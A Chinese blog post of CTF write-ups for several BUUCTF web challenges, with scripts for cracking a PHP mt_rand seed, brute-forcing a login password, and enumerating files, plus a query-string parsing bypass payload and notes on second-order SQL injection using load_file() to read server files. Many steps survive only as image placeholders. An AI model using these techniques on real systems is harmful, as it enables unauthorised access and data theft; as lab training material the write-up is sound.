[BUUCTF]第二天训练

[GWCTF 2019]枯燥的抽奖

打开题目是这玩意儿
在这里插入图片描述
查看源代码!!!发现关键网页打开看看!!
在这里插入图片描述
下面就是代码审计环节

<?php 
#这不是抽奖程序的源代码!不许看! 
header("Content-Type: text/html;charset=utf-8"); 
session_start(); 
if(!isset($_SESSION['seed'])){
    
     
$_SESSION['seed']=rand(0,999999999); 
} 

mt_srand($_SESSION['seed']); 
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
$str=''; 
$len1=20; 
for ( $i = 0; $i < $len1; $i++ ){
    
     
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);        
} 
$str_show = substr($str, 0, 10); 
echo "<p id='p1'>".$str_show."</p>"; 


if(isset($_POST['num'])){
    
     
    if($_POST['num']===$str){
    
    x 
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>"; 
    } 
    else{
    
     
        echo "<p id=flag>没抽中哦,再试试吧</p>"; 
    } 
} 
show_source("check.php"); 

利用php的伪随机性爆破,利用python脚本

str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'zXGgRbXiep'
str3 = str1[::-1]
length = len(str2)
res = ''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
            break

print(res)

接下来使用php伪随机数爆破工具
在这里插入图片描述
将结果带入即可得到flag

<?php
mt_srand(948663066);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    
    
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo "<p id='p1'>".$str."</p>";

在这里插入图片描述

[网鼎杯 2018]Comment

首先要留言就得登录看着登陆框的提示,大概知道要么用burp,可我喜欢python
在这里插入图片描述
挂上本弟弟的辣鸡脚本

import requests
import time
session = requests.session()
for i in range(999):
    data = {
    
    
        'username': 'zhangwei',
        'password': f'zhangwei{i}'
    }
    r = session.post('http://89a6083e-7291-41f2-b946-fc56ecd543c1.node3.buuoj.cn/login.php', data=data)
    print(i)
    time.sleep(0.2)
    if 'username or password error' not in r.text:
        print(r.text)
        print(data)

在这里得到密码是zhangwei666,之后登录
在这里插入图片描述
首先测试是否为sql注入,明显不是
在这里插入图片描述
接着尝试是否为XSS,啊这真的成功了嘻嘻
在这里插入图片描述
尝试弹cookie失败了,在控制台看到好东西了哈哈哈
在这里插入图片描述
在这里插入图片描述
然后我完全不会做了啊这,之后看了别人博客知道了需要恢复文件git log --reflog查看所有分支记录
在这里插入图片描述

在这里插入图片描述

一道二次注入的题目
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
常规的注入不知道为啥没有任何回显
查看user得知使用者是root权限这样的话,一般 flag 就不会在数据库里面(因为如果在数据库中,不需要root权限)所以sql注入读取本地文件 可以使用load_file()
在这里插入图片描述

在这里插入图片描述
有个www用户
查看bash_history : 保存了当前用户使用过的历史命令,方便查找
在/home/www/下
在这里插入图片描述
看见他删除了 .DS_Store 文件,由于目标环境是docker,所以 .DS_Store 文件应该在 /tmp/html 中。而 .DS_Store 文件中,经常会有一些不可见的字符,可以使用hex函数对其进行16进制转换,
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

[BJDCTF 2nd]elementmaster

请求后发现这玩意儿???十六进制骚一下
在这里插入图片描述

在这里插入图片描述
从这里推测是化学元素
在这里插入图片描述
网上找个脚本hhh

import requests

url='http://86512ce4-2a07-43e0-a9f6-edabc83ec7d5.node3.buuoj.cn/'
flag=''
element=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
        'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
        'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
        'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
        'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
        'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
        'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']

for i in element:
        r=requests.get(url+i+'.php')
        if r.status_code == 200:
                flag+=r.text
print (flag)

得到结果And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php
访问得到flag

[MRCTF2020]套娃

在这里插入图片描述
?b%20u%20p%20t=23333%0a
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
首先来一个反加密代码
在这里插入图片描述
在这里插入图片描述

[HCTF 2018]WarmUp

CVE-2018-12613
在这里插入图片描述
在这里插入图片描述

参考文章

git reset 加不加 --hard的区别
i春秋这篇文章写的很好
利用PHP的字符串解析特性Bypass

猜你喜欢

转载自blog.csdn.net/solitudi/article/details/108889210